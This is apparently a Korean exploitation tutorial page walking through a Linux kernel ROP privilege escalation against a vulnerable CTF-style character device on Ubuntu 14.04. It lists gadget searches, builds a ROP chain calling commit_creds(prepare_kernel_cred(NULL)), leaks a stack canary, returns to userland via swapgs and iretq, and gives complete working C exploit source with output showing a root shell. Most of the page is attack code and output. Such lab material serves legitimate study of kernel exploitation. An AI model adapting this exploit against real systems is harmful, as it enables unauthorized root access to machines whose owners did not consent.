Excuse the ads! We need some help to keep our site up.
ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
|
commit_creds(prepare_kernel_cred(NULL));
system("/bin/sh"); |
|
Ubuntu 14.04버전의 경우 KASLR이 기본적으로 활성화되어 있지 않습니다.
즉, Gadget을 Debug Symbol 파일에서 Gadget의 위치를 찾아 사용하면됩니다.
다음과 같이 첫번째 인자 값을 저장하기 위한 "pop rdi" Gadget을 찾을 수 있습니다.
lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 1|grep "pop rdi ; ret" | head -1 0xffffffff813e223f: pop rdi ; ret ; (1 found) lazenca0x0@ubuntu:~/Kernel/Exploit$ |
많은 양의 "mov rdi, rax" Gadget이 출력되지만 "ret" 명령어로 끝나는 Gadget은 존재하지 않습니다.
lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 1|grep "mov rdi, rax" 0xffffffff810661d4: mov rdi, rax ; call qword [0x81C2E0F8] ; (1 found) 0xffffffff811b4bd3: mov rdi, rax ; call qword [0x81C2E148] ; (1 found) 0xffffffff811ba7d5: mov rdi, rax ; call qword [0x81C2E148] ; (1 found) 0xffffffff817efe40: mov rdi, rax ; call qword [0x81C2E148] ; (1 found) 0xffffffff81d66689: mov rdi, rax ; call qword [0x81C2E148] ; (1 found) ... 0xffffffff817592d9: mov rdi, rax ; call rdx ; (1 found) 0xffffffff8175a6f5: mov rdi, rax ; call rdx ; (1 found) 0xffffffff8175c5fe: mov rdi, rax ; call rdx ; (1 found) 0xffffffff817696cb: mov rdi, rax ; call rdx ; (1 found) 0xffffffff817e9e92: mov rdi, rax ; call rdx ; (1 found) lazenca0x0@ubuntu:~/Kernel/Exploit$ |
lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 1|grep "mov rdi, rax ; call rdx"|head -1 0xffffffff810152cf: mov rdi, rax ; call rdx ; (1 found) lazenca0x0@ubuntu:~/Kernel/Exploit$ |
lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 1|grep "pop rdx ; ret"|head -1 0xffffffff8112d952: pop rdx ; ret ; (1 found) lazenca0x0@ubuntu:~/Kernel/Exploit$ |
lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 2|grep "swapgs" 0xffffffff810613d4: swapgs ; pop rbp ; ret ; (1 found) lazenca0x0@ubuntu:~/Kernel/Exploit$ |
lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 2|grep "iretq" lazenca0x0@ubuntu:~/Kernel/Exploit$ objdump -j .text -d /usr/lib/debug/boot/vmlinux-4.4.0-31-generic |grep iretq|head -1 ffffffff817f7a97: 48 cf iretq lazenca0x0@ubuntu:~/Kernel/Exploit$ |
https://github.com/0vercl0k/rp/blob/3a54a7cd33f6828c628e92be946060ef835625b4/src/inc/gadget.hpp#L30 |
int main(){
...
size_t rop[512] = {0};
...
rop[8] = canary;
rop[9] = 0;
rop[10] = 0;
rop[11] = 0;
rop[12] = 0xffffffff813e223f; //pop_rdi
rop[13] = 0;
rop[14] = prepare_kernel_cred;
rop[15] = 0xffffffff8112d952; //pop rdx ; ret ;
rop[16] = commit_creds;
rop[17] = 0xffffffff817e9e92; //mov rdi, rax ; call rdx ;
rop[18] = 0;
rop[19] = 0xffffffff810613d4; //swapgs ; pop rbp ; ret ;
rop[20] = 0;
rop[21] = 0xffffffff817f7a97; //iretq;
rop[22] = (size_t)getShell;
rop[23] = rv.user_cs;
rop[24] = rv.user_rflags;
rop[25] = rv.user_rsp;
rop[26] = rv.user_ss;
write(fd, rop, 8*27);
...
return 0;
} |
lazenca0x0@ubuntu:~/Kernel/Exploit/ROP$ ./rop prepare_kernel_cred addr: 0xffffffff8109da40 commit_creds addr: 0xffffffff8109d760 SAW CTF challenge. Best of luck! 53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67 | SAW CTF challeng 65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21 | e. Best of luck! 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 0f eb 2e a8 00 00 00 00 c0 6c 6c 00 00 00 00 00 | ?.??ll [+]canary: 0xa82eeb0f # id uid=0(root) gid=0(root) groups=0(root) # |
//gcc -masm=intel -static -o rop exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>
#define TEXT_LEN 64
struct register_val {
uint64_t user_rip;
uint64_t user_cs;
uint64_t user_rflags;
uint64_t user_rsp;
uint64_t user_ss;
} __attribute__((packed));
struct register_val rv;
size_t commit_creds, prepare_kernel_cred;
void getShell(void)
{
execl("/bin/sh","sh",NULL);
}
void backup_rv(void) {
asm("mov rv+8, cs;"
"pushf; pop rv+16;"
"mov rv+24, rsp;"
"mov rv+32, ss;"
);
}
unsigned long kallsym_getaddr(const char* str)
{
FILE *stream;
char fbuf[256];
char addr[32];
stream = fopen("/proc/kallsyms","r");
if(stream < 0)
{
printf("failed to open /proc/kallsyms\n");
return 0;
}
memset(fbuf,0x00,sizeof(fbuf));
char buf[0x30] = {0};
while(fgets(fbuf,256,stream) != NULL)
{
char *p = fbuf;
char *a = addr;
if(strlen(fbuf) == 0)
continue;
memset(addr,0x00,sizeof(addr));
fbuf[strlen(fbuf)-1] = '\0';
while(*p != ' ')
*a++ = *p++;
p += 3;
if(!strcmp(p,str)){
char hex[20] = {0};
strncpy(hex, addr, 16);
if(strcmp(str,"prepare_kernel_cred") == 0){
sscanf(hex, "%lx", &prepare_kernel_cred);
return 1;
}else if(strcmp(str,"commit_creds") == 0){
sscanf(hex, "%lx", &commit_creds);
return 1;
}
}
}
return 0;
}
int main()
{
static char buf[512];
size_t rop[512] = {0};
char val[8];
int fd,i,j;
if(kallsym_getaddr("commit_creds") == 0)
{
printf("failed to get commit_creds address\n");
return 0;
}
if(kallsym_getaddr("prepare_kernel_cred") == 0)
{
printf("failed to get prepare_kernel_cred address\n");
return 0;
}
if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
printf("Cannot open /dev/chardev0. Try again later.\n");
return 0;
}
printf("prepare_kernel_cred addr: %p\n", (void*)prepare_kernel_cred);
printf("commit_creds addr: %p\n", (void*)commit_creds);
lseek(fd, 16, SEEK_CUR);
read(fd, buf, TEXT_LEN);
printf("%s\n",buf);
for (i = 0; i < 4; i++)
{
for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
printf(" | ");
for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
printf("\n");
}
memcpy(val, buf+48,8);
size_t canary = ((size_t *)val)[0];
printf("[+]canary: %p\n", (void *)canary);
backup_rv();
rop[8] = canary;
rop[9] = 0;
rop[10] = 0;
rop[11] = 0;
rop[12] = 0xffffffff813e223f; //pop_rdi
rop[13] = 0;
rop[14] = prepare_kernel_cred; // Call prepare_kernel_cred
rop[15] = 0xffffffff8112d952; //pop rdx ; ret ;
rop[16] = commit_creds;
rop[17] = 0xffffffff817e9e92; //mov rdi, rax ; call rdx(commit_creds) ;
rop[18] = 0;
rop[19] = 0xffffffff810613d4; //swapgs ; pop rbp ; ret ;
rop[20] = 0;
rop[21] = 0xffffffff817f7a97; //iretq;
rop[22] = (size_t)getShell;
rop[23] = rv.user_cs;
rop[24] = rv.user_rflags;
rop[25] = rv.user_rsp;
rop[26] = rv.user_ss;
write(fd, rop, 8*27);
if (close(fd) != 0){
printf("Cannot close.\n");
}
return 0;
} |